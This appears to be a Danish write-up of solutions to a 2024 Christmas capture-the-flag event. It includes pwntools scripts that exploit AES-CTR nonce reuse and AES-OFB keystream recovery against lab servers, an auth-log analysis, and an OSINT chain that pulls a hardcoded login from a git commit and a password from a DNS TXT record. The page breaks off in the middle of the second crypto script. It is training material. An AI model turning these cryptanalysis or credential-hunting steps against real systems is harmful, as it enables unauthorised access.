<p>Livet som nysgerrig postnisse for PostNordpolen var altså lidt sjovere før - nu har kryptonisserne fundet på et system til kryptering af intern post mellem værkstederne 🙁</p>
<p>Hvert værksted har udpeget en nøglenisse med krypteringsansvar, der hver mandag morgen kl. 8:00 får udleveret en ny delt nøgle og en fælles kodebog med hemmeligheder til engangsbrug.</p>
<p>PostNordpolen udleverer vel omtrent 30 breve om dagen normalt - mon nøglenisserne har koder nok til en pludselig stigning?</p>
<p><a href="https://tryhackme.com/jr/postnordpolen2o24">https://tryhackme.com/jr/postnordpolen2o24</a></p>
<p>Forbind med: <code>nc &lt;tildelt-ip&gt; 1337</code></p>
<p><strong>Bemærk:</strong> Opgaven lukker op for PostNordpolen II og PostNordpolen III.</p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/Crypto/postnordpolen_i.py">postnordpolen_i.py</a></p>
<p><strong>Løsning:</strong> Man ikke anvende samme nonce i aes_ctr da man så kan deducte plaintexten ud fra ciphertexten.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> 
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">binascii</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s1">&#39;debug&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">host</span> <span class="o">=</span> <span class="s1">&#39;10.10.26.14&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">port</span> <span class="o">=</span> <span class="mi">1337</span>  
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#this to connect to the server</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#decrypt with XOR func </span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">a</span> <span class="o">^</span> <span class="n">b</span> <span class="o">^</span> <span class="n">c</span> <span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">)])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Step 1: WE retrieve the encrypted flag</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;&gt; &#39;</span><span class="p">,</span> <span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">enc_flag</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;: &#39;</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="c1">#enc_flag = binascii.unhexlify(p.recvline().strip().split)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#log.info(f&#39;{enc_flag.hex()}&#39;)</span>
</span></span><span class="line"><span class="cl"><span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;Encrypted flag: </span><span class="si">{</span><span class="n">enc_flag</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Step 2: We send a known input with the same length as the encrypted flag</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Subtract the nonce length - deducted from initial try.</span>
</span></span><span class="line"><span class="cl"><span class="n">input_str</span> <span class="o">=</span> <span class="s1">&#39;A&#39;</span> <span class="o">*</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">enc_flag</span><span class="p">)</span> <span class="o">-</span> <span class="mi">12</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">getAES</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;&gt; &#39;</span><span class="p">,</span> <span class="s1">&#39;2&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;Besked: &#39;</span><span class="p">,</span> <span class="n">input_str</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;Adresse: &#39;</span><span class="p">,</span> <span class="s1">&#39;Her&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">encoded_input</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;: &#39;</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">encoded_input</span>
</span></span><span class="line"><span class="cl">    <span class="c1">#log.info(f&#39;Encrypted input: {enc_input.hex()}&#39;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">enc_input</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Starts while loop but limits to 300 rounds.</span>
</span></span><span class="line"><span class="cl"><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">300</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">  <span class="n">encoded_input</span> <span class="o">=</span> <span class="n">getAES</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="n">result</span> <span class="o">=</span> <span class="n">encoded_input</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="n">result</span><span class="p">[:</span><span class="mi">12</span><span class="p">]</span> <span class="o">==</span> <span class="n">enc_flag</span><span class="o">.</span><span class="n">hex</span><span class="p">()[:</span><span class="mi">12</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="c1">#Print the visible flag and input as hex</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">enc_flag</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">result</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">#Return the binary format and sets variable</span>
</span></span><span class="line"><span class="cl">    <span class="n">enc_flag</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">enc_flag</span><span class="o">.</span><span class="n">hex</span><span class="p">()[</span><span class="o">-</span><span class="mi">98</span><span class="p">:])</span>
</span></span><span class="line"><span class="cl">    <span class="n">enc_input</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">result</span><span class="p">[</span><span class="o">-</span><span class="mi">98</span><span class="p">:])</span>
</span></span><span class="line"><span class="cl">    <span class="k">break</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Step 3: Calculate the flag with XOR</span>
</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">enc_flag</span><span class="p">,</span> <span class="n">enc_input</span><span class="p">,</span> <span class="n">input_str</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">log</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;Flag: </span><span class="si">{</span><span class="n">flag</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#this closes the connection</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Original: simonedimario </span>
</span></span><span class="line"><span class="cl"><span class="c1"># Modified by: Raihan</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Credits: https://medium.com/@raihansltn/reduce-reuse-recycle-cryptography-ctf-hacker-class-compfest16-d9ca4824c558</span>
</span></span><span class="line"><span class="cl"><span class="c1"># AES-CRT: https://pycryptodome.readthedocs.io/en/latest/src/cipher/classic.html#ctr-mode</span>
</span></span></code></pre></div><p>Flag: <code>NC3{P0stN0rdp0l3n_3r_5t0r3_f0r74l3r3_f0r_g3nbrug}</code></p>
<hr>
<h2 id="regnskabsnisserne">Regnskabsnisserne</h2>
<p>Julemandens regnskabsnisser har udviklet et indkodningssystem for at skjule deres beskeder fra nysgerrige blikke.</p>
<p>Men en dag da nisserne gik til frokost, glemte én af dem at låse sin computer. En snedig gnom så sit snit til at snige sig ind og stjæle en del af deres samtale.</p>
<p>Kan du knække nissernes kode og afsløre, hvad de diskuterer i hemmelighed?</p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/kom_godt_i_gang/kommunikation.txt">kommunikation.txt</a></p>
<p><strong>Løsning:</strong> Substitution cipher.</p>
<p>Tror flaget gemmer sig hér: 150 166 213 150 206 216 214 166 d : &lt;&gt; H 166 62 &lt;&gt; 141 124 102 234 201 151 d 224 66 214 164 e s 124 216 202 100 s j 164 e r 164 d 102 211 224 236</p>
<pre tabindex="0"><code>Altså 141 = N (Findes 2 steder, giver mening der hvor det andet store N står)
124 = C (Findes 2 steder, begge en del af flaget)
102 = 3 (Findes 2 steder, begge en del af flaget)
234 = { (findes 1 sted)
236 = } (findes 1 sted)
</code></pre><p>Tallene ligger i blokke af 7, hvorefter der kommer et spring på 4 tegn.
Har bare slavisk gået det igennem, og fundet dem et af gangen&hellip;</p>
<pre tabindex="0"><code>TalThomas: Jeg forstaar ikke, hvor julemanden faar alle de penge fra
FrostFinn: Nej, men de kommer altid hvert aar
KlokkeKarl: Er det sikkert at skrive hemmelige beskeder her
FrostFinn: Ja ja, der er aldrig nogen, som har set mine beskeder
KlokkeKarl: Okay, for jeg vil bare sige, at postnordnisserne har det bedre end os
TalThomas: Hvad mener du? Vi kunne da ikke have det bedre
KlokkeKarl: Jeg har set, at de faar varm kakao hver dag - og det med floedeskum
FrostFinn: Jamen saa synes jeg, at vi skal tage over og drikke alt deres kakao
TalThomas: Ja, det kan ikke passe, at andre nisser har det bedre end os, naar vi styrer regnskabet
KlokkeKarl: Jeg er glad for at kunne dele det med jer. Godt at vi kan skrive i hemmelighed her
TalThomas: Ja, NC3{CUst0m_enCod1ng_er_s3jt}
FrostFinn: Lige netop. Ingen har nogensinde kunne se vores beskeder
</code></pre><p>Flag: <code>NC3{CUst0m_enCod1ng_er_s3jt}</code></p>
<hr>
<h2 id="ondsindede-loginforsøg">Ondsindede Loginforsøg</h2>
<h3 id="introduktion">Introduktion</h3>
<p>Julemandens hovedserver er blevet kompromitteret, og vi mistænker stærkt, at de ondsindede gnomer står bag angrebet. Julens politi har sat en undersøgelse i gang, men de har brug for din hjælp til at identificere gerningsgnomen og afdække de kriminelle handlinger, der er blevet udført.</p>
<p>Kan du hjælpe med at genoprette julefreden og få styr på de stjålne data?</p>
<p><strong>OBS:</strong> Dette er en serie på fem opgaver, der skal løses sekventielt. Denne opgave låser op for den næste.</p>
<h3 id="denne-opgave">Denne opgave</h3>
<p>Julens politi har sikret en logfil fra serveren, som indeholder detaljer om flere loginforsøg. De mistænker, at en gerningsgnom har opnået fjernadgang, men da julemandens egne nisser også har adgang til serveren, er det svært at skelne mellem legitime og mistænkelige loginforsøg.</p>
<p>Gerningsgnomen virker til at have været opmærksom på at skjule sine spor, men det kan jo glippe! Kan du identificere et loginforsøg med en særlig interessant IP-adresse, der kan sætte efterforskningen på sporet af den skyldige?</p>
<p>Flaget er formateret <code>NC3{tidsstempel}</code>, hvor tidsstempel svarer til tidspunktet i det fundne loginforsøg, formateret som i loggen.</p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/efterforskning/auth.log">auth.log</a></p>
<p><strong>Løsnings Summary:</strong></p>
<ul>
<li>
<p>Tidspunkter for aktiviteter: De logger ind på alle tider af døgnet.</p>
</li>
<li>
<p>Simultaneous sessions: Alle brugere har mange sessions på samme tid.</p>
</li>
<li>
<p>SUDO Actions: Alle brugere laver de samme SUDO actions. Selv root kører SUDO mange gange..</p>
</li>
<li>
<p>CRON Jobs: Kører meget predictable og udelukkende af root</p>
</li>
<li>
<p>Unknown users: Der er flere unknown users. Ingen er unikke. Alle forsøger kun fra interne IP&rsquo;er.</p>
</li>
<li>
<p>root login fails: Mange fails, men alle er fra interne IP-adresser.</p>
</li>
<li>
<p>other user login fails: Sker flere gange for alle users, alle interne IP&rsquo;er.</p>
</li>
<li>
<p>Sus users: KanelKnaser logger ind fra 100 foreign IP-adresser, primært TOR. Der er 1 kendt malicious IP, den er testet. Han flyver i øvrigt verden rundt på få sekunder, men det er testet at det ikke er mistænkeligt at han går fra bulgarien til holland på 6 sekunder.</p>
</li>
<li>
<p>Strange ports: Ingen</p>
</li>
<li>
<p>Foreign IP&rsquo;s: Alle foreign IP&rsquo;er (100) er næsten lige sus og hører udelukkende til KanelKnaser. Se IP analyse vedhæftet. Der er ikke nogen på nordpolen eller lign., det er primært TOR eller andre mærkelige steder. Heller ingen RUS/Kina.</p>
</li>
<li>
<p>&ldquo;Suspicious IP&rdquo;: Alle IP&rsquo;er er blevet konverteret til ASCII og der er ingen som staver noget sjovt.</p>
</li>
<li>
<p>Misc: Der er et hop i loggen fra 31 jul kl. 21 something til 01 aug tilbage til 31 jul og så videre fra 01 aug igen.</p>
</li>
</ul>
<p><strong>Endelig Løsning:</strong> Ud af de 100 forskellige IP&rsquo;er som KanelKnaser logger ind med, er: Aug 09 11:41:09 my-server sshd[14455]: Accepted password for KanelKnaser from 209.38.243.124 port 53935 ssh2. Alt det han ellers logger ind med er TOR Exit nodes. Denne ene er et VPN relay.
[2:57 PM]</p>
<p>Flag: <code>Aug 09 11:41:09</code></p>
<hr>
<h2 id="serverskjulet">Serverskjulet</h2>
<p>Julens politi formoder, at gerningsgnomen har etableret en skjult server og et tilknyttet domæne for at skjule sine spor.</p>
<p>Kan du bruge den fundne IP-adresse til at finde serveren og domænet, hvor yderligere spor om gerningsgnomen kan afsløres?</p>
<p><strong>Bemærk:</strong> Opgaven kræver ikke bruteforce.</p>
<p><strong>Løsning:</strong> Hvis man til går <a href="https://209.38.243.124">https://209.38.243.124</a> får man et invalid ssl cert. View cert giver følgendene oplysninger om certifikatet.</p>
<p><img src="/nc3_2024/efterforskning/cert.png" alt="Screenshot af Certificate"></p>
<p>Flag: <code>NC3{1nfiL7rAti0n_0g_3xf1ltr4t1on}</code></p>
<hr>
<h2 id="kodedepotets-hemmelighed">Kodedepotets Hemmelighed</h2>
<p>Du har nu fundet gerningsgnomens hjemmeside, men dens indhold er kun overfladen. Julens politi mistænker, at yderligere information om eksfiltreret data kan gemme sig bag skjulte sider.</p>
<p>Brug OSINT-teknikker for at se, om du kan få adgang til disse skjulte sider og afsløre flere detaljer om, hvad der er blevet stjålet.</p>
<p>Kan du grave dybt nok til at finde den skjulte information?</p>
<p><strong>Bemærk:</strong> Opgaven kræver ikke bruteforce.</p>
<p><strong>Løsning:</strong></p>
<ul>
<li>Gerningsgnomens hjemmeside = bitbibliotek.dk</li>
<li>Der ligger en TXT record med: <code>&quot;delingmedKodetand:enjulehemmelighed1.jan&quot; </code></li>
<li>der ligger også en mail: <a href="mailto:datagnasker@proton.me">datagnasker@proton.me</a></li>
<li>Login side: <a href="https://bitbibliotek.dk/login">https://bitbibliotek.dk/login</a></li>
</ul>
<p><img src="/nc3_2024/efterforskning/bitbibliotek_login.png" alt="Screenshot af login siden på bitbibliotek"></p>
<p>Hvis man laver lidt osint på <code>datagnasker</code> som er taget fra mailen <code>datagnasker@proton.me</code> finder man en GitHub konto: <a href="https://github.com/datagnasker">https://github.com/datagnasker</a></p>
<p><img src="/nc3_2024/efterforskning/datagnasker_gh.png" alt="Screenshot af Datagnasker&rsquo;s GitHub"></p>
<p>Websidens kode kan findes her: <a href="https://github.com/datagnasker/web_test">https://github.com/datagnasker/web_test</a></p>
<p><img src="/nc3_2024/efterforskning/webapp.png" alt="Screenshot af hjemmesidens kode">
<img src="/nc3_2024/efterforskning/removed.png" alt="Screenshot af Github commit"></p>
<p>I filen <code>views.py</code> bliver denne linje fjernet og erstattet: <code>if request.form['username'] == 'bit' and request.form['password'] == 'frost123':</code></p>
<p>Ved at loggeind med username <code>bit</code> og password <code>frost123</code> finder man en flag: <code>NC3{g3m_4lDr1g_cR3d3nT1al5_i_g1T_r3P0}</code></p>
<p>Flag: <code>NC3{g3m_4lDr1g_cR3d3nT1al5_i_g1T_r3P0}</code></p>
<hr>
<h2 id="alternativ-kodedeling">Alternativ Kodedeling</h2>
<p>Du har fundet et interessant link på gerningsgnomens hjemmeside, men adgangen er beskyttet af en adgangskode, som du mangler.</p>
<p>Julens politi har en mistanke om, at nisserne har efterladt spor et sted på domænet, som kan lede dig til den nødvendige kode.</p>
<p>Kan du afsløre adgangskoden og låse op for sidste trin i efterforskningen?</p>
<p><strong>Bemærk:</strong> Opgaven kræver ikke bruteforce.</p>
<p><strong>Løsning:</strong> Fra sidste opgave (<a href="#kodedepotets-hemmelighed">Kodedepotets Hemmelighed</a>) finder vi det interessante link som er: <a href="https://privatebin.net/?a5f7a035573705be#J5nBwc2LPLYTZKsy6prN32aHVxdMHjJfwbi4WaNcaSs8">https://privatebin.net/?a5f7a035573705be#J5nBwc2LPLYTZKsy6prN32aHVxdMHjJfwbi4WaNcaSs8</a>, pasten kræver en adgangskode, denne fandt vi også i sidste opgave: TXT record med: <code>&quot;delingmedKodetand:enjulehemmelighed1.jan&quot;</code>. Koden til pasten er <code>enjulehemmelighed1.jan</code></p>
<p><a href="/nc3_2024/efterforskning/privatebin.png">Screenshot af privatebin</a></p>
<p>Under &ldquo;INTERESSER&rdquo; i sidste linje findes flaget.</p>
<p>Flag: <code>NC3{d3L_1kK3_h3MmeL1gh3d3R_h3R}</code></p>
<hr>
<h2 id="gerningsgnomens-afsløring">Gerningsgnomens Afsløring</h2>
<p>Efter omfattende efterforskning har du samlet flere spor om gerningsgnomens aktiviteter.</p>
<p>Nu har Julens Politi brug for din hjælp til at færdiggøre politirapporten med præcise detaljer om hændelserne og de stjålne data. Kan du sikre, at rapporten bliver komplet og klar til julens retsopgør?</p>
<p>Link til rapportskabelonen: <a href="https://tryhackme.com/jr/nisseh4ck2o24">https://tryhackme.com/jr/nisseh4ck2o24</a></p>
<p><strong>Løsning:</strong></p>
<p><img src="/nc3_2024/efterforskning/rapportskabelon.png" alt="Screenshot af rapportskabelonen"></p>
<p>I de sidste 4 opgaver har vi fundet følgendene:</p>
<ol>
<li>Brugernavn: <code>KanelKnaser</code></li>
<li>Pin: <code>2412</code></li>
<li>Grøntsag: <code>gulerødder</code></li>
<li>Nøgler: <code>Nissehue, Sukkerstang, Guirlande, Kræmmerhus, Julekugle</code></li>
<li>Nummer: <code>299 12 34 56</code></li>
<li>IP-adresse: <code>209.38.243.124</code></li>
<li>Email: <code>datagnasker@proton.me</code></li>
<li>Domæne: <code>bitbibliotek.dk</code></li>
<li>For- og efternavn: <code>?????</code></li>
<li>By: <code>?????</code></li>
<li>Organisation: <code>Gnomerne Aps</code></li>
<li>By: <code>Ringsted</code></li>
</ol>
<p>Ved hjælp af Bing finder vi For- og efternavn:</p>
<p><img src="/nc3_2024/efterforskning/bing.png" alt="Screenshot af Bing søgning"></p>
<ol start="9">
<li>For- og efternavn: <code>Børge Madsen</code></li>
</ol>
<p>Nu mangler vi bare By.</p>
<p>Ved at kigge på hans Github profil kan vi se et &ldquo;Stack ID&rdquo;:</p>
<p><img src="/nc3_2024/efterforskning/gh_stackid.png" alt="Screenshot af Github profil - Stack ID"></p>
<p>Stack må betyde Stackoverflow: <a href="https://stackoverflow.com/users/28085338">https://stackoverflow.com/users/28085338</a> som viser Location som <code>Fensmark</code></p>
<ol start="10">
<li>By: <code>Fensmark</code></li>
</ol>
<p>Efter at have udfyldt rapportskabelonen får man:</p>
<p><img src="static/nc3_2024/efterforskning/flag.png" alt="Screenshot af rapportskabelonen med flag"></p>
<p>Flag: <code>NC3{hU5k_aT_sKr1v3_r4Pp0Rt}</code></p>
<hr>
<h2 id="postnordpolen-ii">PostNordpolen II</h2>
<p>Kryptonisserne opdagede sikkerhedshullet og har udskiftet deres kryptosystem, så PostNordpolens postnisser igen er forhindret i at snage.</p>
<p>Nøglenisserne har med magi udvidet kodebogen, så den aldrig løber tør - men er kryptosystemet mon stadig sårbart?</p>
<p><a href="https://tryhackme.com/jr/postnordpolenii2o24">https://tryhackme.com/jr/postnordpolenii2o24</a></p>
<p>Forbind med: <code>nc &lt;tildelt-ip&gt; 1337</code></p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/Crypto/postnordpolen_ii.py">postnordpolen_ii.py</a></p>
<p><strong>Løsning:</strong> AES OFB går på at man starter med en IV, som via key krypteres og bliver den første keystream som XOR&rsquo;s med de første 16byte. Denne keystream bliver så den ny IV for igen at blive krypteret for at blive XOR&rsquo;et med de næste 16byte osv. osv.</p>
<p>Løsningen ligger i at bede om så mange flag at man ved at starte strengen er &ldquo;[BREV 1000] NC3{&rdquo;, hvilket er 16byte. Vi kan dermed få den første keystream!
Ved at sende breve og bruge denne keystream som IV, kan vi få den næste keystream ved at XOR vores besked tilbage på den cipher vi modtager: &ldquo;[BREV 1001] AAAA&rdquo; XOR keystream = ciphertext.</p>
<p>Det gøres så for alle 5 blocks og man har flaget 🙂</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span> <span class="c1">#pycryptodome</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">IV</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>   <span class="c1">#IV = efcc04b94963a02e01ac139456a3f160 in hex</span>
</span></span><span class="line"><span class="cl"><span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_OFB</span><span class="p">,</span> <span class="n">IV</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Krypter testflag</span>
</span></span><span class="line"><span class="cl"><span class="n">ct</span> <span class="o">=</span> <span class="n">cipher</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="s1">&#39;[BREV 1000] nc3</span><span class="si">{Dette_er_kun_en}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span> 
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">ct</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl"><span class="c1">#&gt;&gt;&gt; &#39;g\xb7\xddL\xb6\xd8\x0b\x12u#D\x18a\xafv{\x93\xf6\x90$Z\x02|\xdb|\xa7\x8fO_j\x81\xa1&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">first_bytes</span> <span class="o">=</span> <span class="n">ct</span><span class="p">[:</span><span class="mi">16</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="c1">#first_bytes = bytes.fromhex(ct.hex()[:32])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ecb_cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">first_xor_key</span> <span class="o">=</span> <span class="n">ecb_cipher</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">IV</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Proof we can get the xor_key / keystream by xor with the known part</span>
</span></span><span class="line"><span class="cl"><span class="n">first_xor_key_calc</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">first_bytes</span><span class="p">,</span> <span class="s1">&#39;[BREV 1000] nc3{&#39;</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Returns for first 16 bytes</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">first_xor_key</span><span class="p">)</span> <span class="c1"># &gt;&gt; b&#39;xZ\x0f-\xb2\x19*\xc1\xd4\rX\xb0\xbb\x8c\x84\x92&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">first_xor_key_calc</span><span class="p">)</span> <span class="c1"># &gt;&gt; b&#39;xZ\x0f-\xb2\x19*\xc1\xd4\rX\xb0\xbb\x8c\x84\x92&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Encrypt known plaintext with first_xor_key = IV</span>
</span></span><span class="line"><span class="cl"><span class="n">cipher2</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_OFB</span><span class="p">,</span> <span class="n">first_xor_key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">ct2</span> <span class="o">=</span> <span class="n">cipher2</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="s1">&#39;[BREV 1001] AAAA&#39;</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">second_xor_key</span> <span class="o">=</span> <span class="n">ecb_cipher</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">first_xor_key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Proof we can get the xor_key / keystream by xor with the known part</span>
</span></span><span class="line"><span class="cl"><span class="n">second_xor_key_calc</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">ct2</span><span class="p">,</span> <span class="s1">&#39;[BREV 1001] AAAA&#39;</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">second_xor_key</span><span class="p">)</span> <span class="c1"># &gt;&gt; b&#39;FS[\x15\xbc\x93n#D\x05\x0e\xb2~\xda\xfb\x8b&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">second_xor_key_calc</span><span class="p">)</span> <span class="c1"># &gt;&gt; b&#39;FS[\x15\xbc\x93n#D\x05\x0e\xb2~\xda\xfb\x8b&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#Encrypt the IV once with the cipher to get the first block </span>
